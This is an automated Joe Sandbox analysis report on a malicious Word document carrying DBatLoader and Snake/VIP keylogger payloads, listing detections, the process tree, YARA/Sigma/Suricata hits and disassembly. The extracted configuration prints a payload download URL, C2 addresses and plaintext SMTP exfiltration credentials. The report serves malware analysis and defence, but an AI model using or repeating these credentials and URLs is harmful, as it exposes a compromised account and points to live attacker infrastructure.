Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
PI ITS15235.doc

Overview

General Information

Sample name:PI ITS15235.doc
Analysis ID:1590510
MD5:c8e60db8174345c243187675d4c760de
SHA1:34bdd0903708f1ab747cbb45a6a292517e1df83e
SHA256:94519fee9d47fd0262d1dd50e0bf20ea7cb0962b3a1e1de217c5f462b0633fab
Tags:docuser-abuse_ch
Infos:

Detection

DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Document exploit detected (creates forbidden files)
Document exploit detected (drops PE files)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected DBatLoader
Yara detected PureLog Stealer
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Document contains an embedded VBA with functions possibly related to ADO stream file operations
Document contains an embedded VBA with functions possibly related to HTTP operations
Document exploit detected (process start blacklist hit)
Drops PE files with a suspicious file extension
Drops executables to the windows directory (C:\Windows) and starts them
Machine Learning detection for dropped file
Machine Learning detection for sample
Office process drops PE file
Office process queries suspicious COM object (likely to drop second stage)
PE file contains section with special chars
Sample uses process hollowing technique
Sigma detected: DLL Search Order Hijackig Via Additional Space in Path
Sigma detected: Execution from Suspicious Folder
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Suspicious Program Location with Network Connections
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Writes to foreign memory regions
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a connection to the internet is available
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to launch a process as a different user
Contains functionality to query locales information (e.g. system language)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected non-DNS traffic on DNS port
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
PE file contains more sections than normal
PE file contains sections with non-standard names
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Suspicious Outbound SMTP Connections
Suricata IDS alerts with low severity for network traffic
Uses SMTP (mail sending)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

Process Tree

  • System is w10x64
  • WINWORD.EXE (PID: 7688 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)
    • brightness.exe (PID: 8092 cmdline: C:\Windows\SysWOW64\brightness.exe MD5: 8D3E16CB3CE3940E87A322FBEEAB419F)
      • cmd.exe (PID: 7416 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\NsltarpnF.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 7404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 2492 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 6036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • npratlsN.pif (PID: 4544 cmdline: C:\Users\Public\Libraries\npratlsN.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)
  • Nsltarpn.PIF (PID: 3548 cmdline: "C:\Users\Public\Libraries\Nsltarpn.PIF" MD5: 8D3E16CB3CE3940E87A322FBEEAB419F)
    • npratlsN.pif (PID: 3592 cmdline: C:\Users\Public\Libraries\npratlsN.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)
  • Nsltarpn.PIF (PID: 2916 cmdline: "C:\Users\Public\Libraries\Nsltarpn.PIF" MD5: 8D3E16CB3CE3940E87A322FBEEAB419F)
    • npratlsN.pif (PID: 6036 cmdline: C:\Users\Public\Libraries\npratlsN.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
DBatLoaderThis Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader
NameDescriptionAttributionBlogpost URLsLink
404 Keylogger, Snake KeyloggerSnake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://amazonenviro.com/admin/245_Nsltarpncon"]}

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "info@irco.com.sa", "Password": "info12A", "Host": "mail.irco.com.sa", "Port": "587"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "info@irco.com.sa", "Password": "info12A", "Host": "mail.irco.com.sa", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000A.00000002.3463602515.000000002B9EA000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_VIPKeyloggerYara detected VIP KeyloggerJoe Security
    0000000A.00000001.1859265751.0000000000400000.00000040.00000001.00020000.00000000.sdmpMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
    • 0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
    • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
    • 0x1300:$s3: 83 EC 38 53 B0 E9 88 44 24 2B 88 44 24 2F B0 10 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
    • 0x2018a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
    • 0x1fdd0:$s5: delete[]
    • 0x1f288:$s6: constructor or from DllMain.
    0000000E.00000002.3457231521.0000000021781000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_SnakeKeyloggerYara detected Snake KeyloggerJoe Security
      0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
        0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_TelegramRATYara detected Telegram RATJoe Security
          Click to see the 104 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          14.1.npratlsN.pif.400000.0.raw.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
          • 0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
          • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
          • 0x1300:$s3: 83 EC 38 53 B0 E9 88 44 24 2B 88 44 24 2F B0 10 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
          • 0x2018a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
          • 0x1fdd0:$s5: delete[]
          • 0x1f288:$s6: constructor or from DllMain.
          16.2.npratlsN.pif.400000.0.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
          • 0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
          • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
          • 0x700:$s3: 83 EC 38 53 B0 E9 88 44 24 2B 88 44 24 2F B0 10 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
          • 0x1ed8a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
          • 0x1e9d0:$s5: delete[]
          • 0x1de88:$s6: constructor or from DllMain.
          14.2.npratlsN.pif.400000.0.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
          • 0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
          • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
          • 0x700:$s3: 83 EC 38 53 B0 E9 88 44 24 2B 88 44 24 2F B0 10 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
          • 0x1ed8a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
          • 0x1e9d0:$s5: delete[]
          • 0x1de88:$s6: constructor or from DllMain.
          10.2.npratlsN.pif.2b489a06.1.unpackJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
            10.2.npratlsN.pif.2b489a06.1.unpackJoeSecurity_VIPKeyloggerYara detected VIP KeyloggerJoe Security
              Click to see the 254 entries

              Sigma Signatures

              System Summary

              barindex
              Sigma detected: DLL Search Order Hijackig Via Additional Space in Path
              Source: File createdAuthor: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Windows\SysWOW64\brightness.exe, ProcessId: 8092, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll
              Sigma detected: Execution from Suspicious Folder
              Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Libraries\npratlsN.pif, CommandLine: C:\Users\Public\Libraries\npratlsN.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\npratlsN.pif, NewProcessName: C:\Users\Public\Libraries\npratlsN.pif, OriginalFileName: C:\Users\Public\Libraries\npratlsN.pif, ParentCommandLine: C:\Windows\SysWOW64\brightness.exe, ParentImage: C:\Windows\SysWOW64\brightness.exe, ParentProcessId: 8092, ParentProcessName: brightness.exe, ProcessCommandLine: C:\Users\Public\Libraries\npratlsN.pif, ProcessId: 4544, ProcessName: npratlsN.pif
              Sigma detected: File With Uncommon Extension Created By An Office Application
              Source: File createdAuthor: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ProcessId: 7688, TargetFilename: C:\Windows\SysWOW64\brightness.exe
              Sigma detected: New RUN Key Pointing to Suspicious Folder
              Source: Registry Key setAuthor: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Nsltarpn.url, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\brightness.exe, ProcessId: 8092, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Nsltarpn
              Sigma detected: Suspicious Program Location with Network Connections
              Source: Network ConnectionAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 132.226.8.169, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Users\Public\Libraries\npratlsN.pif, Initiated: true, ProcessId: 4544, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49754
              Sigma detected: CurrentVersion Autorun Keys Modification
              Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Nsltarpn.url, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\brightness.exe, ProcessId: 8092, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Nsltarpn
              Sigma detected: Execution of Suspicious File Type Extension
              Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: C:\Users\Public\Libraries\npratlsN.pif, CommandLine: C:\Users\Public\Libraries\npratlsN.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\npratlsN.pif, NewProcessName: C:\Users\Public\Libraries\npratlsN.pif, OriginalFileName: C:\Users\Public\Libraries\npratlsN.pif, ParentCommandLine: C:\Windows\SysWOW64\brightness.exe, ParentImage: C:\Windows\SysWOW64\brightness.exe, ParentProcessId: 8092, ParentProcessName: brightness.exe, ProcessCommandLine: C:\Users\Public\Libraries\npratlsN.pif, ProcessId: 4544, ProcessName: npratlsN.pif
              Sigma detected: Suspicious Office Outbound Connections
              Source: Network ConnectionAuthor: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.4, DestinationIsIpv6: false, DestinationPort: 49737, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, Initiated: true, ProcessId: 7688, Protocol: tcp, SourceIp: 147.124.216.113, SourceIsIpv6: false, SourcePort: 80
              Sigma detected: Suspicious Outbound SMTP Connections
              Source: Network ConnectionAuthor: frack113: Data: DestinationIp: 46.151.208.21, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\Public\Libraries\npratlsN.pif, Initiated: true, ProcessId: 4544, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 52774

              Suricata Signatures

              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2025-01-14T08:08:14.579595+010020283713Unknown Traffic192.168.2.449742166.62.27.188443TCP
              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2025-01-14T08:08:25.579951+010028033053Unknown Traffic192.168.2.449758104.21.16.1443TCP
              2025-01-14T08:08:29.469167+010028033053Unknown Traffic192.168.2.452746104.21.16.1443TCP
              2025-01-14T08:08:30.931425+010028033053Unknown Traffic192.168.2.452748104.21.16.1443TCP
              2025-01-14T08:08:32.440891+010028033053Unknown Traffic192.168.2.452750104.21.16.1443TCP
              2025-01-14T08:08:33.939308+010028033053Unknown Traffic192.168.2.452752104.21.16.1443TCP
              2025-01-14T08:08:36.746760+010028033053Unknown Traffic192.168.2.452758104.21.16.1443TCP
              2025-01-14T08:08:36.820422+010028033053Unknown Traffic192.168.2.452759104.21.16.1443TCP
              2025-01-14T08:08:39.811236+010028033053Unknown Traffic192.168.2.452764104.21.16.1443TCP
              2025-01-14T08:08:43.220341+010028033053Unknown Traffic192.168.2.452769104.21.16.1443TCP
              2025-01-14T08:08:46.083888+010028033053Unknown Traffic192.168.2.452775104.21.16.1443TCP
              2025-01-14T08:08:47.545333+010028033053Unknown Traffic192.168.2.452779104.21.16.1443TCP
              2025-01-14T08:08:50.435647+010028033053Unknown Traffic192.168.2.452785104.21.16.1443TCP
              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2025-01-14T08:08:23.466369+010028032742Potentially Bad Traffic192.168.2.449754132.226.8.16980TCP
              2025-01-14T08:08:25.098612+010028032742Potentially Bad Traffic192.168.2.449754132.226.8.16980TCP
              2025-01-14T08:08:26.450742+010028032742Potentially Bad Traffic192.168.2.452742132.226.8.16980TCP
              2025-01-14T08:08:34.729831+010028032742Potentially Bad Traffic192.168.2.452753132.226.8.16980TCP
              2025-01-14T08:08:36.058488+010028032742Potentially Bad Traffic192.168.2.452753132.226.8.16980TCP
              2025-01-14T08:08:37.619699+010028032742Potentially Bad Traffic192.168.2.452760132.226.8.16980TCP
              2025-01-14T08:08:39.103479+010028032742Potentially Bad Traffic192.168.2.452763132.226.8.16980TCP
              2025-01-14T08:08:43.943210+010028032742Potentially Bad Traffic192.168.2.452768132.226.8.16980TCP
              2025-01-14T08:08:45.484581+010028032742Potentially Bad Traffic192.168.2.452768132.226.8.16980TCP
              2025-01-14T08:08:46.974552+010028032742Potentially Bad Traffic192.168.2.452777132.226.8.16980TCP
              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2025-01-14T08:08:37.751993+010018100071Potentially Bad Traffic192.168.2.452761149.154.167.220443TCP
              2025-01-14T08:08:48.846989+010018100071Potentially Bad Traffic192.168.2.452782149.154.167.220443TCP
              2025-01-14T08:08:57.208320+010018100071Potentially Bad Traffic192.168.2.452796149.154.167.220443TCP

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus / Scanner detection for submitted sample
              Source: PI ITS15235.docAvira: detected
              Found malware configuration
              Source: 0000000E.00000002.3457231521.0000000021781000.00000004.00000800.00020000.00000000.sdmpMalware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "info@irco.com.sa", "Password": "info12A", "Host": "mail.irco.com.sa", "Port": "587", "Version": "4.4"}
              Source: 10.2.npratlsN.pif.2dd40ee8.4.unpackMalware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "info@irco.com.sa", "Password": "info12A", "Host": "mail.irco.com.sa", "Port": "587"}
              Source: 4.0.brightness.exe.400000.0.unpackMalware Configuration Extractor: DBatLoader {"Download Url": ["https://amazonenviro.com/admin/245_Nsltarpncon"]}
              Multi AV Scanner detection for dropped file
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFReversingLabs: Detection: 47%
              Source: C:\Windows \SysWOW64\NETUTILS.dllReversingLabs: Detection: 28%
              Source: C:\Windows\SysWOW64\brightness.exeReversingLabs: Detection: 47%
              Multi AV Scanner detection for submitted file
              Source: PI ITS15235.docVirustotal: Detection: 59%Perma Link
              Source: PI ITS15235.docReversingLabs: Detection: 57%
              Machine Learning detection for dropped file
              Source: C:\Windows \SysWOW64\NETUTILS.dllJoe Sandbox ML: detected
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFJoe Sandbox ML: detected
              Source: C:\Windows\SysWOW64\brightness.exeJoe Sandbox ML: detected
              Machine Learning detection for sample
              Source: PI ITS15235.docJoe Sandbox ML: detected

              Location Tracking

              barindex
              Tries to detect the country of the analysis system (by using the IP)
              Source: unknownDNS query: name: reallyfreegeoip.org

              Compliance

              barindex
              Detected unpacking (overwrites its own PE header)
              Source: C:\Users\Public\Libraries\npratlsN.pifUnpacked PE file: 10.2.npratlsN.pif.400000.0.unpack
              Source: C:\Users\Public\Libraries\npratlsN.pifUnpacked PE file: 14.2.npratlsN.pif.400000.0.unpack
              Source: C:\Users\Public\Libraries\npratlsN.pifUnpacked PE file: 16.2.npratlsN.pif.400000.0.unpack
              Source: unknownHTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49757 version: TLS 1.0
              Source: unknownHTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:52744 version: TLS 1.0
              Source: unknownHTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:52756 version: TLS 1.0
              Source: unknownHTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:52771 version: TLS 1.0
              Source: unknownHTTPS traffic detected: 192.168.2.4:52790 -> 104.21.16.1:443 version: TLS 1.0
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dllJump to behavior
              Source: unknownHTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49742 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:52761 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:52782 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:52796 version: TLS 1.2
              Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1883329411.00000000205D0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmp
              Source: Binary string: easinvoker.pdb source: brightness.exe, 00000004.00000002.1883329411.00000000205D0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1830497059.000000007F330000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1883329411.000000002061C000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000205E0000.00000004.00001000.00020000.00000000.sdmp, svchost.pif.4.dr
              Source: Binary string: _.pdb source: npratlsN.pif, 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: easinvoker.pdbGCTL source: brightness.exe, 00000004.00000002.1883329411.00000000205D0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1851940223.0000000021362000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1830497059.000000007F330000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1851940223.0000000021391000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1883329411.000000002061C000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000205E0000.00000004.00001000.00020000.00000000.sdmp, svchost.pif.4.dr
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_028F5908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,4_2_028F5908

              Software Vulnerabilities

              barindex
              Document exploit detected (creates forbidden files)
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Windows\SysWOW64\brightness.exeJump to behavior
              Document exploit detected (drops PE files)
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: brightness.exe.0.drJump to dropped file
              Document exploit detected (process start blacklist hit)
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess created: C:\Windows\SysWOW64\brightness.exe
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then mov dword ptr [ebp-20h], 00000000h10_2_29A5DD08
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2E5CF2B5h10_2_2E5CF0C9
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2E5CFC3Fh10_2_2E5CF0C9
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2E5CE0C5h10_2_2E5CDF07
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h10_2_2E5CE5E8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2E5CE0C5h10_2_2E5CE114
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F6810E9h10_2_2F680E38
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68B829h10_2_2F68B580
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68185Dh10_2_2F681440
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68CDE1h10_2_2F68CB38
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68FDA9h10_2_2F68FB00
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68D691h10_2_2F68D3E8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68185Dh10_2_2F68178B
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68D239h10_2_2F68CF90
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68F4F9h10_2_2F68F250
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68C0D9h10_2_2F68BE30
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68C989h10_2_2F68C6E0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68F951h10_2_2F68F6A8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68C531h10_2_2F68C288
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68E7F1h10_2_2F68E548
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68F0A1h10_2_2F68EDF8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68BC81h10_2_2F68B9D8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68EC49h10_2_2F68E9A0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68DAE9h10_2_2F68D840
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68185Dh10_2_2F681431
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68E399h10_2_2F68E0F0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F68DF41h10_2_2F68DC98
